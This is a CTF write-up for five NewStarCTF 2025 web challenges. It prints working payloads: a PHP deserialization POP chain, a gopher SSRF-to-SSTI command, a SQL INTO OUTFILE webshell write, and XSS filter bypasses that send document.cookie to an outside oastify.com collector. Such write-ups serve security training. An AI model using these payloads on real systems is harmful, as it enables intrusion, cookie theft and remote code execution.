NewStarCTF2025-Week4-Web

目录

1、小羊走迷宫

2、武功秘籍

3、ssti在哪里?

4、小E的留言板

5、Sqlupload


1、小羊走迷宫

简单 php 反序列化,构造 pop 链即可

主要就是对保护变量的访问吧,这里采用新增一个类的公有方法实现

Exp:

php 复制代码
<?php
include "flag.php";
error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    protected $door;
    protected $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
    public function setWord1($newWord1)
    {
        $this->door = $newWord1;
    }
    public function setWord2($newWord2)
    {
        $this->chest = $newWord2;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    private $path = 'flag.php';
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}
$e = new endPoint();
$t = new Treasure();
$t->setWord1($e);
$tt = new Treasure();
$tt->setWord2($t);
$s = new SaySomething();
$s->sth = $tt;
$p = new startPoint();
$p->direction = $s;
echo base64_encode(serialize($p));

然后是对非法参数名的绕过,php8之前遇到中括号会被转成下划线,但是只转一次,从而保留后面的非法参数名点

payload:

php 复制代码
?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7TjtzOjg6IgAqAGNoZXN0IjtPOjg6IlRyZWFzdXJlIjoyOntzOjc6IgAqAGRvb3IiO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjg6ImZsYWcucGhwIjt9czo4OiIAKgBjaGVzdCI7Tjt9fX19

2、武功秘籍

在页面随便点了下跳转到后台登录界面,存在弱口令:admin/admin

存在文件上传点

简单的文件类型绕过

找到木马路径

调用

3、ssti在哪里?

存在 ssrf

因为是 flask 服务,我们直接读源码

将 name 接受的东西给到了 template,感觉有 SSTI,结合题目意思那多半就是有了

用 gopher 协议打

先看了下根目录,未见 flag

当前目录也没有

读了下这个 internal_web.py,确实存在 SSTI 注入

Flag 在环境变量,payload:

php 复制代码
url=gopher://127.0.0.1:5000/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D

4、小E的留言板

随便注册一个账户进去就可以留言

过滤了尖括号,还有一些关键词可以双写绕过

php 复制代码
" oonnmouseover ="alert(1)
php 复制代码
" oonnmouseover ="alert(document.cookie)

"oonnmouseover="new Image().src='http://qf9t9vv2gq2vm2q9jostpeivwm2dq8ex.oastify.com/?a=' +encodeURICompoonnent(document.cookie)

可以接收到当前的 cookie,但是报告留言小 e 的不行,因为我们目前的 payload 需要手动触发(鼠标悬停)

换个写法

php 复制代码
"autofofocuscus oonnfofocuscus="new Image().src='http://y321x3ja4yq3aaeh7wg1dm63kuqlei27.oastify.com/?a='+encodeURICompoonnent(document.cookie)

报告留言即可

5、Sqlupload

问题在 getFileList.php,检查不严谨

我们可以控制 order 参数将 filename 写入到文件

通过抓包传一个文件名是一句话木马的东西上去

调用 getFileList.php,payload:

php 复制代码
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

木马确实写进去了,但是无法读取 /flag

flag 需要 root 用户,但是 readFlag 其他用户也可以执行

运行程序将结果重定向即可

相关推荐
2301_7807896618 小时前
手游遇到攻击为什么要用SDK游戏盾手游遇到攻击为什么要用 SDK 游戏盾?
安全·web安全·游戏·架构·kubernetes·ddos
不正经的小寒18 小时前
PHP 8.3 核心特性
php
黎阳之光19 小时前
黎阳之光:视频孪生重构新能源智慧工地,打造大型风光基地数智化建设标杆
大数据·人工智能·物联网·安全·数字孪生
Agent手记19 小时前
安全生产巡检全流程自动化与隐患预警方案:2026工业Agent落地实战指南
数据库·人工智能·安全·ai·自动化
whn197720 小时前
查询日期报错,参数DATETIME_FMT_MODE
数据库·sql
运维行者_20 小时前
云计算连接性与互操作性
服务器·开发语言·网络·web安全·网络基础设施
夜雪闻竹20 小时前
sql.js WASM 实战:浏览器里跑 SQLite
javascript·sql·wasm
效能革命笔记20 小时前
Gitee DevSecOps 智能版本管理:军工软件工厂的依赖治理与供应链安全方案
网络·安全·gitee
Gauss松鼠会20 小时前
GaussDB(DWS) GUC参数修改、查看
java·数据库·sql·数据库开发·gaussdb
未若君雅裁20 小时前
Spring Bean 作用域、线程安全与生命周期
java·安全·spring